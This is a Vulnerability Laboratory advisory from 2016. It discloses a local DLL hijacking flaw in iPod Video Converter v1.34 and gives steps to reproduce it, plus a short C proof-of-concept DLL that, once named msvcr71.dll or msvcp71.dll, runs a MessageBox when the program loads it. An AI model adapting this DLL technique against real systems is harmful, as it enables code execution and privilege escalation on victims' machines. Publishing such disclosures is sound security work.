iPod Video Converter v1.34 - DLL Hijacking Exploit

Document Title:
===============
iPod Video Converter v1.34 - DLL Hijacking Exploit


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=1961


Release Date:
=============
2016-09-29


Vulnerability Laboratory ID (VL-ID):
====================================
1961


Common Vulnerability Scoring System:
====================================
4.1


Product & Service Introduction:
===============================
iPod Video Converter is a free and powerful iPod video and movie converter software which provides an easy way to convert 
any movie to iPod video. iPod Video Converter helps you watch music video and movies on your video iPod with only a few clicks. 
iPod Video Converter is compatible with the latest iPod Touch and with the iPhone.
 
(Copy of the Vendor Homepage: http://www.reganam.com/ )


Abstract Advisory Information:
==============================
An independent vulnerability laboratory researcher discovered a local dll hijacking issue in the official iPod Video Converter v1.34 software.


Vulnerability Disclosure Timeline:
==================================
2016-09-29:	Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Jodix Technologies
Product: iPod Video Converter - Software 1.34


Exploitation Technique:
=======================
Local


Severity Level:
===============
Medium


Technical Details & Description:
================================
A local dll injection vulnerability has been discovered in the official iPod Video Converter v1.34 software.
The issue allows local attackers to inject code to vulnerable libraries to compromise the process or 
to gain higher access privileges.

Vulnerable Software:
[+] Ipod Video Converter

Vulnerable Libraries:
[+] msvcr71.dll
[+] msvcp71.dll


Proof of Concept (PoC):
=======================
The dll hijack vulnerability can be exploited by local attackers with restricted system user account and without user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.


Manual steps to reproduce the local vulnerability ...
1. Compile dll and rename to msvcr71.dll or msvcp71.dll
2. Copy msvcr71.dll or msvcp71.dll to C:Program Filesipodconverter2012ipod-converter.exe
3. Launch ipod-converter.exe
4. MessageBox Executed


-- PoC Exploit --
#include <windows.h>
#define DllExport __declspec (dllexport)

BOOL WINAPI DllMain (
HANDLE hinstDLL,
DWORD fdwReason,
LPVOID lpvReserved)
{
dll_hijack();
return 0;
}

int dll_hijack()
{
MessageBox(0, "DLL Hijacking By ZwX!", "DLL Message", MB_OK);
return 0;
}


Security Risk:
==============
The security risk of the dll hijacking issue in the dynamic link libraries (dll) is estimated as medium. (CVSS 4.1)


Credits & Authors:
==================
ZwX - (http://zwx.fr) [http://www.vulnerability-lab.com/show.php?user=ZwX]



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=========================
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